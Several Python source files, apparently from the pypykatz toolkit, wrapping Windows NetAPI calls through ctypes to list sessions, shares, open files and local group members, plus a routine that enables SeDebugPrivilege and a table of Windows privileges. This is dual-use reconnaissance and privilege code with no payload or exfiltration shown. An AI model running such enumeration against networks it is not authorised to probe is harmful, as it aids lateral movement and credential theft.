70 ('netname',LMSTR),
71 ('type',DWORD ),
72 ('remark',LMSTR ),
73 ]
74 PSHARE_INFO_1 = POINTER(SHARE_INFO_1)
75
76 class SHARE_INFO_2(Structure):
77 _fields_ = [
78 ('netname',LMSTR),
79 ('type',DWORD ),
80 ('remark',LMSTR ),
81 ('permissions',DWORD ),
82 ('max_uses',DWORD ),
83 ('current_uses',DWORD ),
84 ('path',LMSTR),
85 ('passwd',LMSTR),
86 ]
87 PSHARE_INFO_2 = POINTER(SHARE_INFO_2)
88
89 class SHARE_INFO_501(Structure):
90 _fields_ = [
91 ('netname',LMSTR),
92 ('type',DWORD ),
93 ('remark',LMSTR ),
94 ('flags',DWORD ),
95 ]
96 PSHARE_INFO_501 = POINTER(SHARE_INFO_501)
97
98 class SHARE_INFO_502(Structure):
99 _fields_ = [
100 ('netname',LMSTR),
101 ('type',DWORD ),
102 ('remark',LMSTR ),
103 ('permissions',DWORD ),
104 ('max_uses',DWORD ),
105 ('current_uses',DWORD ),
106 ('path',LMSTR),
107 ('passwd',LMSTR),
108 ('reserved',DWORD),
109 ]
110 PSHARE_INFO_502 = POINTER(SHARE_INFO_502)
111
112 class SHARE_INFO_503(Structure):
113 _fields_ = [
114 ('netname',LMSTR),
115 ('type',DWORD ),
116 ('remark',LMSTR ),
117 ('permissions',DWORD ),
118 ('max_uses',DWORD ),
119 ('current_uses',DWORD ),
120 ('path',LMSTR),
121 ('passwd',LMSTR),
122 ('servername',LMSTR),
123 ('reserved',DWORD),
124 ]
125 PSHARE_INFO_503 = POINTER(SHARE_INFO_503)
126
127
128 class SESSION_INFO_0(Structure):
129 _fields_ = [
130 ('cname',LMSTR),
131 ]
132 PSESSION_INFO_0 = POINTER(SESSION_INFO_0)
133
134 class SESSION_INFO_10(Structure):
135 _fields_ = [
136 ('cname',LMSTR),
137 ('username',LMSTR),
138 ('time',DWORD),
139 ('idle_time',DWORD)
140 ]
141 PSESSION_INFO_10 = POINTER(SESSION_INFO_10)
142
143 class SESSION_INFO_1(Structure):
144 _fields_ = [
145 ('cname',LMSTR),
146 ('username',LMSTR),
147 ('num_opens',DWORD),
148 ('time',DWORD),
149 ('idle_time',DWORD),
150 ('user_flags',DWORD),
151 ]
152 PSESSION_INFO_1 = POINTER(SESSION_INFO_1)
153
154 class SESSION_INFO_2(Structure):
155 _fields_ = [
156 ('cname',LMSTR),
157 ('username',LMSTR),
158 ('num_opens',DWORD),
159 ('time',DWORD),
160 ('idle_time',DWORD),
161 ('user_flags',DWORD),
162 ('cltype_name',LMSTR),
163 ]
164 PSESSION_INFO_2 = POINTER(SESSION_INFO_2)
165
166 class SESSION_INFO_502(Structure):
167 _fields_ = [
168 ('cname',LMSTR),
169 ('username',LMSTR),
170 ('num_opens',DWORD),
171 ('time',DWORD),
172 ('idle_time',DWORD),
173 ('user_flags',DWORD),
174 ('cltype_name',LMSTR),
175 ('transport',LMSTR),
176 ]
177 PSESSION_INFO_502 = POINTER(SESSION_INFO_502)
178
179 class LOCALGROUP_MEMBERS_INFO_0(Structure):
180 _fields_ = [
181 ('sid',PSID),
182 ]
183 PLOCALGROUP_MEMBERS_INFO_0 = POINTER(LOCALGROUP_MEMBERS_INFO_0)
184
185 class LOCALGROUP_MEMBERS_INFO_1(Structure):
186 _fields_ = [
187 ('sid',PSID),
188 ('sidusage',DWORD),
189 ('name',LMSTR),
190 ]
191 PLOCALGROUP_MEMBERS_INFO_1 = POINTER(LOCALGROUP_MEMBERS_INFO_1)
192
193 class LOCALGROUP_MEMBERS_INFO_2(Structure):
194 _fields_ = [
195 ('sid',PSID),
196 ('sidusage',DWORD),
197 ('domainandname',LMSTR),
198 ]
199 PLOCALGROUP_MEMBERS_INFO_2 = POINTER(LOCALGROUP_MEMBERS_INFO_2)
200
201 class LOCALGROUP_MEMBERS_INFO_3(Structure):
202 _fields_ = [
203 ('domainandname',LMSTR),
204 ]
205 PLOCALGROUP_MEMBERS_INFO_3 = POINTER(LOCALGROUP_MEMBERS_INFO_3)
206
207 class NetSessionEnumRes(enum.Enum):
208 ERROR_ACCESS_DENIED = 5
209 ERROR_INVALID_LEVEL = 124
210 ERROR_INVALID_PARAMETER = 87
211 ERROR_NOT_ENOUGH_MEMORY = 8
212 NERR_ClientNameNotFound = 2312
213 NERR_InvalidComputer = (2100 + 251)
214 ERROR_FILE_NOT_FOUND = 2
215 NERR_FileIdNotFound = 2314
216 NERR_SUCCESS= 0
217 ERROR_MORE_DATA = 234
218
219
220 # https://docs.microsoft.com/en-us/windows/desktop/api/lmapibuf/nf-lmapibuf-netapibufferfree
221 def NetApiBufferFree(pbuff):
222 _NetApiBufferFree = windll.Netapi32.NetApiBufferFree
223 _NetApiBufferFree.argtypes = [PVOID]
224 _NetApiBufferFree.restype = DWORD
225
226 _NetApiBufferFree(pbuff)
227
228
229 # https://docs.microsoft.com/en-us/windows/desktop/api/lmshare/nf-lmshare-netsessionenum
230 def NetSessionEnum(servername = None, clientname = None, username = None, level = 10):
231 def errc(result, func, arguments):
232 r = NetSessionEnumRes(result)
233 if r == NetSessionEnumRes.NERR_SUCCESS or r == NetSessionEnumRes.ERROR_MORE_DATA:
234 return r
235 raise Exception('NetSessionEnum exception! %s' % r)
236
237 _NetSessionEnum = windll.Netapi32.NetSessionEnum
238 _NetSessionEnum.argtypes = [LMSTR, LMSTR, LMSTR, DWORD, PVOID, DWORD, LPDWORD ,LPDWORD , LPDWORD ]
239 _NetSessionEnum.restype = DWORD
240 _NetSessionEnum.errcheck = errc
241
242 buf = PVOID()
243 entriesread = DWORD()
244 totalentries = DWORD()
245 resume_handle = DWORD(0)
246
247
248 if servername:
249 servername = LPWSTR(servername)
250 if clientname:
251 clientname = LPWSTR(clientname)
252 if username:
253 username = LPWSTR(username)
254
255 if level == 0:
256 si_type = SESSION_INFO_0
257 elif level == 1:
258 si_type = SESSION_INFO_1
259 elif level == 2:
260 si_type = SESSION_INFO_2
261 elif level == 10:
262 si_type = SESSION_INFO_10
263 elif level == 502:
264 si_type = SESSION_INFO_502
265
266 else:
267 raise Exception('NetSessionEnum unsupported level %s' % level)
268
269
270 first_call = True
271 sessions = []
272 entries_read_total = 0
273 while resume_handle.value != 0 or first_call:
274 res = _NetSessionEnum(servername, clientname, username, level, byref(buf), MAX_PREFERRED_LENGTH, byref(entriesread), byref(totalentries), byref(resume_handle))
275 first_call = False
276 entries_read_total += entriesread.value
277 if entriesread.value > 0:
278 map = ctypes.cast(buf, POINTER(si_type*entriesread.value))
279 for i in range(entriesread.value):
280 sessions.append(UserSessionInfo.from_session_info(map.contents[i], level))
281 NetApiBufferFree(buf)
282
283 if entries_read_total == totalentries.value:
284 break
285
286 return sessions
287
288 def NetLocalGroupGetMembers(servername = None, localgroupname = None, level = 2):
289 def errc(result, func, arguments):
290 r = NetSessionEnumRes(result)
291 if r == NetSessionEnumRes.NERR_SUCCESS or r == NetSessionEnumRes.ERROR_MORE_DATA:
292 return r
293 raise Exception('NetSessionEnum exception! %s' % r)
294
295 _NetLocalGroupGetMembers = windll.Netapi32.NetLocalGroupGetMembers
296 _NetLocalGroupGetMembers.argtypes = [LMSTR, LMSTR, DWORD, PVOID, DWORD, LPDWORD ,LPDWORD , LPDWORD]
297 _NetLocalGroupGetMembers.restype = DWORD
298 _NetLocalGroupGetMembers.errcheck = errc
299
300 buf = PVOID()
301 entriesread = DWORD()
302 totalentries = DWORD()
303 resume_handle = DWORD(0)
304
305 if servername:
306 servername = LPWSTR(servername)
307 if localgroupname:
308 localgroupname = LPWSTR(localgroupname)
309
310 if level == 0:
311 si_type = LOCALGROUP_MEMBERS_INFO_0
312 elif level == 1:
313 si_type = LOCALGROUP_MEMBERS_INFO_1
314 elif level == 2:
315 si_type = LOCALGROUP_MEMBERS_INFO_2
316 elif level == 3:
317 si_type = LOCALGROUP_MEMBERS_INFO_3
318
319 else:
320 raise Exception('NetLocalGroupGetMembers unsupported level %s' % level)
321
322 first_call = True
323 groupinfos = []
324 entries_read_total = 0
325 while resume_handle.value != 0 or first_call:
326 res = _NetLocalGroupGetMembers(servername, localgroupname, level, byref(buf), MAX_PREFERRED_LENGTH, byref(entriesread), byref(totalentries), byref(resume_handle))
327 first_call = False
328 entries_read_total += entriesread.value
329 if entriesread.value > 0:
330 map = ctypes.cast(buf, POINTER(si_type*entriesread.value))
331 for i in range(entriesread.value):
332 groupinfos.append(LocalGroupInfo.from_struct(map.contents[i], level))
333 NetApiBufferFree(buf)
334
335 if entries_read_total == totalentries.value:
336 break
337
338 return groupinfos
339
340 def NetShareEnum(servername = None, level = 2):
341 def errc(result, func, arguments):
342 r = NetSessionEnumRes(result)
343 if r == NetSessionEnumRes.NERR_SUCCESS or r == NetSessionEnumRes.ERROR_MORE_DATA:
344 return r
345 raise Exception('NetSessionEnum exception! %s' % r)
346
347 _NetShareEnum = windll.Netapi32.NetShareEnum
348 _NetShareEnum.argtypes = [LMSTR, DWORD, PVOID, DWORD, LPDWORD ,LPDWORD , LPDWORD]
349 _NetShareEnum.restype = DWORD
350 _NetShareEnum.errcheck = errc
351
352 buf = PVOID()
353 entriesread = DWORD()
354 totalentries = DWORD()
355 resume_handle = DWORD(0)
356
357 if servername:
358 servername = LPWSTR(servername)
359
360 if level == 0:
361 si_type = SHARE_INFO_0
362 elif level == 1:
363 si_type = SHARE_INFO_1
364 elif level == 2:
365 si_type = SHARE_INFO_2
366 elif level == 502:
367 si_type = SHARE_INFO_502
368 elif level == 503:
369 si_type = SHARE_INFO_503
370
371 else:
372 raise Exception('NetShareEnum unsupported level %s' % level)
373
374 first_call = True
375 shareinfos = []
376 entries_read_total = 0
377 while resume_handle.value != 0 or first_call:
378 res = _NetShareEnum(servername, level, byref(buf), MAX_PREFERRED_LENGTH, byref(entriesread), byref(totalentries), byref(resume_handle))
379 first_call = False
380 entries_read_total += entriesread.value
381 if entriesread.value > 0:
382 map = ctypes.cast(buf, POINTER(si_type*entriesread.value))
383 for i in range(entriesread.value):
384 shareinfos.append(ShareInfo.from_struct(map.contents[i], level))
385 NetApiBufferFree(buf)
386
387 if entries_read_total == totalentries.value:
388 break
389
390 return shareinfos
391
392 def NetFileEnum(servername = None, basepath = None, username = None, level = 3):
393 """
394 Only members of the Administrators or Account Operators local group can successfully execute
395 """
396 def errc(result, func, arguments):
397 r = NetSessionEnumRes(result)
398 if r == NetSessionEnumRes.NERR_SUCCESS or r == NetSessionEnumRes.ERROR_MORE_DATA:
399 return r
400 raise Exception('NetFileEnum exception! %s' % r)
401
402 _NetFileEnum = windll.Netapi32.NetFileEnum
403 _NetFileEnum.argtypes = [LMSTR,LMSTR,LMSTR, DWORD, PVOID, DWORD, LPDWORD ,LPDWORD , LPDWORD]
404 _NetFileEnum.restype = DWORD
405 _NetFileEnum.errcheck = errc
406
407 buf = PVOID()
408 entriesread = DWORD()
409 totalentries = DWORD()
410 resume_handle = DWORD(0)
411
412 if servername:
413 servername = LPWSTR(servername)
414 if basepath:
415 basepath = LPWSTR(basepath)
416 if username:
417 username = LPWSTR(username)
418
419 if level == 2:
420 si_type = FILE_INFO_2
421 elif level == 3:
422 si_type = FILE_INFO_3
423
424 else:
425 raise Exception('NetFileEnum unsupported level %s' % level)
426
427 first_call = True
428 shareinfos = []
429 entries_read_total = 0
430 while resume_handle.value != 0 or first_call:
431 res = _NetFileEnum(servername, basepath, username, level, byref(buf), MAX_PREFERRED_LENGTH, byref(entriesread), byref(totalentries), byref(resume_handle))
432 first_call = False
433 entries_read_total += entriesread.value
434 if entriesread.value > 0:
435 map = ctypes.cast(buf, POINTER(si_type*entriesread.value))
436 for i in range(entriesread.value):
437 shareinfos.append(ShareInfo.from_struct(map.contents[i], level))
438 NetApiBufferFree(buf)
439
440 if entries_read_total == totalentries.value:
441 break
442
443 return shareinfos
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz.commons.winapi.local.sid import SID
7
8 class FileInfo:
9 def __init__(self):
10 self.fid = None
11 self.permissions = None
12 self.num_locks = None
13 self.pathname = None
14 self.username = None
15
16 @staticmethod
17 def from_struct(si, level):
18 sess = FileInfo()
19 sess.fid = si.fid
20 if level == 2:
21 return sess
22 sess.permissions = si.permissions
23 sess.num_locks = si.num_locks
24 sess.pathname = si.pathname
25 sess.username = si.username
26
27 return sess
28
29 def to_dict(self):
30 return {
31 'fid' : str(self.netname),
32 'permissions' : str(self.permissions),
33 'num_locks' : str(self.num_locks),
34 'pathname' : str(self.pathname),
35 'username' : str(self.username),
36 }
37
38 def __str__(self):
39 t = '==ShareInfo==\r\n'
40 t+= 'netname : %s\r\n' % self.netname
41 if self.path:
42 t+= 'path : %s\r\n' % self.path
43 if self.remark:
44 t+= 'remark : %s\r\n' % self.remark
45 return t
46
47 class ShareInfo:
48 def __init__(self):
49 self.flags = None
50 self.netname = None
51 self.type = None
52 self.remark = None
53 self.permissions = None
54 self.max_uses = None
55 self.current_uses = None
56 self.path = None
57 self.passwd = None
58 self.servername = None
59
60 @staticmethod
61 def from_struct(si, level):
62 sess = ShareInfo()
63 sess.netname = si.netname
64 if level == 0:
65 return sess
66 sess.type = si.type
67 sess.remark = si.remark
68 if level == 1:
69 return sess
70
71 if level == 501:
72 sess.flags = si.flags
73 return sess
74
75
76 sess.permissions = si.permissions
77 sess.max_uses = si.max_uses
78 sess.current_uses = si.current_uses
79 sess.path = si.path
80 sess.passwd = si.passwd
81
82 if level != 503:
83 return sess
84
85 sess.servername = si.servername
86 return sess
87
88 def to_dict(self):
89 return {
90 'netname' : str(self.netname),
91 'type' : str(self.type),
92 'remark' : str(self.remark),
93 'flags' : str(self.flags),
94 'servername' : str(self.servername),
95 }
96
97 def __str__(self):
98 t = '==ShareInfo==\r\n'
99 t+= 'netname : %s\r\n' % self.netname
100 if self.path:
101 t+= 'path : %s\r\n' % self.path
102 if self.remark:
103 t+= 'remark : %s\r\n' % self.remark
104 return t
105
106 class UserSessionInfo:
107 def __init__(self):
108 self.computername = None
109 self.username = None
110 self.time = None
111 self.idle_time = None
112
113 @staticmethod
114 def from_session_info(si, level):
115 sess = UserSessionInfo()
116 sess.computername = si.cname.replace('\\\\','')
117 if level == 0:
118 return sess
119
120 sess.computername = si.cname
121 sess.username = si.username
122 sess.time = si.time
123 sess.idle_time = si.idle_time
124 return sess
125
126 def to_dict(self):
127 return {
128 'computername' : str(self.computername),
129 'username' : str(self.username),
130 'time' : str(self.time),
131 'idle_time' : str(self.idle_time),
132 }
133
134 def __str__(self):
135 t = '==Session==\r\n'
136 t+= 'computername : %s\r\n' % self.computername
137 t+= 'username : %s\r\n' % self.username
138 t+= 'time : %s\r\n' % self.time
139 t+= 'idle_time : %s\r\n' % self.idle_time
140 return t
141
142 class LocalGroupInfo:
143 def __init__(self):
144 self.sid = None
145 self.sidusage = None
146 self.domain = None
147 self.username = None
148
149 def to_dict(self):
150 return {
151 'sid' : str(self.sid),
152 'sidusage' : str(self.sidusage),
153 'domain' : str(self.domain),
154 'username' : str(self.username),
155 }
156
157 def from_struct(lg, level):
158 lgi = LocalGroupInfo()
159 if level == 0:
160 lgi.sid = SID.from_address(lg.sid)
161 return lgi
162
163 elif level == 1:
164 lgi.sid = SID.from_address(lg.sid)
165 lgi.sidusage = lg.sidusage
166 lgi.username = lg.name
167 return lgi
168
169 elif level == 2:
170 lgi.sid = SID.from_address(lg.sid)
171 lgi.sidusage = lg.sidusage
172 lgi.domain, lgi.username = lg.domainandname.split('\\')
173 return lgi
174
175 elif level == 3:
176 lgi.sid = SID.from_address(lg.sid)
177 lgi.sidusage = lg.sidusage
178 lgi.domain, lgi.username = lg.domainandname.split('\\')
179 return lgi
180 else:
181 raise Exception('Unknown struct of type %s passed to LocalGroupInfo' % (type(lg)))
182
183 def __str__(self):
184 t = '==LocalGroupInfo==\r\n'
185 t+= 'sid : %s\r\n' % self.sid
186 t+= 'sidusage : %s\r\n' % self.sidusage
187 t+= 'domain : %s\r\n' % self.domain
188 t+= 'username : %s\r\n' % self.username
189 return t
0
1 import ctypes
2 from ctypes import windll
3 from ctypes.wintypes import ULONG, BOOL,LONG
4
5 from .defines import *
6
7 # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html
8 # BOOL WINAPI RtlAdjustPrivilege(
9 # __in ULONG Privilege,
10 # __in BOOLEAN Enable,
11 # __in BOOLEAN CurrentThread,
12 # __in PBOOLEAN Enabled,
13 # );
14 def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False):
15 """
16 privilige_id: int
17 """
18 _RtlAdjustPrivilege = windll.ntdll.RtlAdjustPrivilege
19 _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)]
20 _RtlAdjustPrivilege.restype = NTSTATUS
21
22
23 CurrentThread = thread_or_process #False = enable for whole process, True = current thread only
24 Enabled = BOOL()
25
26 status = _RtlAdjustPrivilege(privilige_id, enable, CurrentThread, ctypes.byref(Enabled))
27 if status != 0:
28 raise Exception('Failed call to RtlAdjustPrivilege! Status: %s' % status)
29
30 return Enabled.value
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import ctypes
7 from ctypes import windll
8 from ctypes.wintypes import ULONG, BOOL,LONG
9
10 from .privileges_types import *
11
12 STATUS_SUCCESS = 0
13 NTSTATUS = LONG
14 POINTER = ctypes.POINTER
15
16 def NtError(status):
17 """
18 Converts NTSTATUS codes into WinError codes
19 """
20 err = windll.ntdll.RtlNtStatusToDosError(status)
21 return ctypes.WinError(err)
22
23 # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html
24 # BOOL WINAPI RtlAdjustPrivilege(
25 # __in ULONG Privilege,
26 # __in BOOLEAN Enable,
27 # __in BOOLEAN CurrentThread,
28 # __in PBOOLEAN Enabled,
29 # );
30 def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False):
31 """
32 privilige_id: int
33 """
34 _RtlAdjustPrivilege = windll.ntdll.RtlAdjustPrivilege
35 _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)]
36 _RtlAdjustPrivilege.restype = NTSTATUS
37
38 CurrentThread = thread_or_process #enable for whole process
39 Enabled = BOOL()
40
41 status = _RtlAdjustPrivilege(privilige_id, enable, CurrentThread, ctypes.byref(Enabled))
42 if status != STATUS_SUCCESS:
43 raise Exception(NtError(status))
44
45 return True
46
47 def enable_debug_privilege():
48 """
49 Enables the SE_DEBUG privilege for the currently running process, if the process has SE_DEBUG privilege. (You'll need to be admin most probably)
50 """
51 RtlAdjustPrivilege(PrivilegeValues.SE_DEBUG.value)
52
53 if __name__ == '__main__':
54 enable_debug_privilege()
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import enum
7
8 class PrivilegeValues(enum.Enum):
9 SE_CREATE_TOKEN = 2
10 SE_ASSIGNPRIMARYTOKEN = 3
11 SE_LOCK_MEMORY=4
12 SE_INCREASE_QUOTA=5
13 SE_UNSOLICITED_INPUT=6
14 SE_TCB=7
15 SE_SECURITY=8
16 SE_TAKE_OWNERSHIP=9
17 SE_LOAD_DRIVER=10
18 SE_SYSTEM_PROFILE=11
19 SE_SYSTEMTIME=12
20 SE_PROF_SINGLE_PROCESS=13
21 SE_INC_BASE_PRIORITY=14
22 SE_CREATE_PAGEFILE=15
23 SE_CREATE_PERMANENT=16
24 SE_BACKUP=17
25 SE_RESTORE=18
26 SE_SHUTDOWN=19
27 SE_DEBUG=20
28 SE_AUDIT=21
29 SE_SYSTEM_ENVIRONMENT=22
30 SE_CHANGE_NOTIFY=23
31 SE_REMOTE_SHUTDOWN=24
32 SE_UNDOCK=25
33 SE_SYNC_AGENT=26
34 SE_ENABLE_DELEGATION=27
35 SE_MANAGE_VOLUME=28
36 SE_IMPERSONATE=29
37 SE_CREATE_GLOBAL=30
38 SE_TRUSTED_CREDMAN_ACCESS=31
39 SE_RELABEL=32
40 SE_INC_WORKING_SET=33
41 SE_TIME_ZONE=34
42 SE_CREATE_SYMBOLIC_LINK=35
43
44 class Privileges(enum.Enum):
45 SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege" #Required to assign the primary token of a process.
46 #User Right: Replace a process-level token.
47
48 SE_AUDIT_NAME = "SeAuditPrivilege" #Required to generate audit-log entries. Give this privilege to secure servers.
49 #User Right: Generate security audits.
50
51 SE_BACKUP_NAME = "SeBackupPrivilege" #Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held:
52 SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege" #Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It is enabled by default for all users.
53 SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege" #Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for administrators, services, and the local system account.
54 #User Right: Create global objects.
55
56 SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege" # Required to create a paging file. #User Right: Create a pagefile.
57 SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege" #Required to create a permanent object.
58 #User Right: Create permanent shared objects.
59 SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege" #Required to create a symbolic link.
60 #User Right: Create symbolic links.
61
62 SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege" #Required to create a primary token.
63 #User Right: Create a token object.
64 #You cannot add this privilege to a user account with the "Create a token object" policy. Additionally, you cannot add this privilege to an owned process using Windows APIs.
65 #Windows Server 2003 and Windows XP with SP1 and earlier: Windows APIs can add this privilege to an owned process.
66
67 SE_DEBUG_NAME = "SeDebugPrivilege" #Required to debug and adjust the memory of a process owned by another account.
68 #User Right: Debug programs.
69
70 SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege" #Required to mark user and computer accounts as trusted for delegation.
71 #User Right: Enable computer and user accounts to be trusted for delegation.
72 SE_IMPERSONATE_NAME = "SeImpersonatePrivilege" #Required to impersonate.
73 #User Right: Impersonate a client after authentication.
74
75 SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege" #Required to increase the base priority of a process.
76 #User Right: Increase scheduling priority.
77 SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege" #Required to increase the quota assigned to a process.
78 #User Right: Adjust memory quotas for a process.
79
80 SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege" #Required to allocate more memory for applications that run in the context of users.
81 #User Right: Increase a process working set.
82 SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege" #Required to load or unload a device driver.
83 #User Right: Load and unload device drivers.
84 SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege" #Required to lock physical pages in memory.
85 #User Right: Lock pages in memory.
86 SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege" #Required to create a computer account.
87 #User Right: Add workstations to domain.
88 SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege" #Required to enable volume management privileges.
89 #User Right: Manage the files on a volume.
90 SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege" #Required to gather profiling information for a single process.
91 #User Right: Profile single process.
92 SE_RELABEL_NAME = "SeRelabelPrivilege" #Required to modify the mandatory integrity level of an object.
93 #User Right: Modify an object label.
94
95 SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege"# Required to shut down a system using a network request.
96 #User Right: Force shutdown from a remote system.
97
98 SE_RESTORE_NAME = "SeRestorePrivilege" #Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file. This privilege is required by the RegLoadKey function. The following access rights are granted if this privilege is held:
99 SE_SECURITY_NAME = "SeSecurityPrivilege" #Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a security operator.
100 #User Right: Manage auditing and security log.
101 SE_SHUTDOWN_NAME = "SeShutdownPrivilege" #Required to shut down a local system.
102 #User Right: Shut down the system.
103 SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege" #Required for a domain controller to use the Lightweight Directory Access Protocol directory synchronization services. This privilege enables the holder to read all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and LocalSystem accounts on domain controllers.
104 #User Right: Synchronize directory service data.
105 SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege" #Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information.
106 #User Right: Modify firmware environment values.
107 SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege" #Required to gather profiling information for the entire system.
108 #User Right: Profile system performance.
109 SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege" #Required to modify the system time.
110 #User Right: Change the system time.
111 SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege" #Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those values that the holder may legitimately assign as the owner of an object.
112 #User Right: Take ownership of files or other objects.
113 SE_TCB_NAME = "SeTcbPrivilege" #This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege.
114 #User Right: Act as part of the operating system.
115 SE_TIME_ZONE_NAME = "SeTimeZonePrivilege" #Required to adjust the time zone associated with the computer's internal clock.
116 #User Right: Change the time zone.
117 SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege"#Required to access Credential Manager as a trusted caller.
118 #User Right: Access Credential Manager as a trusted caller.
119 SE_UNDOCK_NAME = "SeUndockPrivilege" #Required to undock a laptop.
120 #User Right: Remove computer from docking station.
121 SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege"
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 # Copyright (c) 2009-2016, Mario Vilas
4 # All rights reserved.
5 #
6 # Redistribution and use in source and binary forms, with or without
7 # modification, are permitted provided that the following conditions are met:
8 #
9 # * Redistributions of source code must retain the above copyright notice,
10 # this list of conditions and the following disclaimer.
11 # * Redistributions in binary form must reproduce the above copyright
12 # notice,this list of conditions and the following disclaimer in the
13 # documentation and/or other materials provided with the distribution.
14 # * Neither the name of the copyright holder nor the names of its
15 # contributors may be used to endorse or promote products derived from
16 # this software without specific prior written permission.
17 #
18 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
22 # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
24 # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
25 # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
26 # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
27 # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28 # POSSIBILITY OF SUCH DAMAGE.
29
30 """
31 Wrapper for psapi.dll in ctypes.
32 """
33
34 from .defines import *
35
36 #==============================================================================
37 # This is used later on to calculate the list of exported symbols.
38 _all = None
39 _all = set(vars().keys())
40 #==============================================================================
41
42 #--- PSAPI structures and constants -------------------------------------------
43
44 LIST_MODULES_DEFAULT = 0x00
45 LIST_MODULES_32BIT = 0x01
46 LIST_MODULES_64BIT = 0x02
47 LIST_MODULES_ALL = 0x03
48
49 # typedef struct _MODULEINFO {
50 # LPVOID lpBaseOfDll;
51 # DWORD SizeOfImage;
52 # LPVOID EntryPoint;
53 # } MODULEINFO, *LPMODULEINFO;
54 class MODULEINFO(Structure):
55 _fields_ = [
56 ("lpBaseOfDll", LPVOID), # remote pointer
57 ("SizeOfImage", DWORD),
58 ("EntryPoint", LPVOID), # remote pointer
59 ]
60 LPMODULEINFO = POINTER(MODULEINFO)
61
62 #--- psapi.dll ----------------------------------------------------------------
63
64 # BOOL WINAPI EnumDeviceDrivers(
65 # __out LPVOID *lpImageBase,
66 # __in DWORD cb,
67 # __out LPDWORD lpcbNeeded
68 # );
69 def EnumDeviceDrivers():
70 _EnumDeviceDrivers = windll.psapi.EnumDeviceDrivers
71 _EnumDeviceDrivers.argtypes = [LPVOID, DWORD, LPDWORD]
72 _EnumDeviceDrivers.restype = bool
73 _EnumDeviceDrivers.errcheck = RaiseIfZero
74
75 size = 0x1000
76 lpcbNeeded = DWORD(size)
77 unit = sizeof(LPVOID)
78 while 1:
79 lpImageBase = (LPVOID * (size // unit))()
80 _EnumDeviceDrivers(byref(lpImageBase), lpcbNeeded, byref(lpcbNeeded))
81 needed = lpcbNeeded.value
82 if needed <= size:
83 break
84 size = needed
85 return [ lpImageBase[index] for index in range(0, (needed // unit)) ]
86
87 # BOOL WINAPI EnumProcesses(
88 # __out DWORD *pProcessIds,
89 # __in DWORD cb,
90 # __out DWORD *pBytesReturned
91 # );
92 def EnumProcesses():
93 _EnumProcesses = windll.psapi.EnumProcesses
94 _EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD]
95 _EnumProcesses.restype = bool
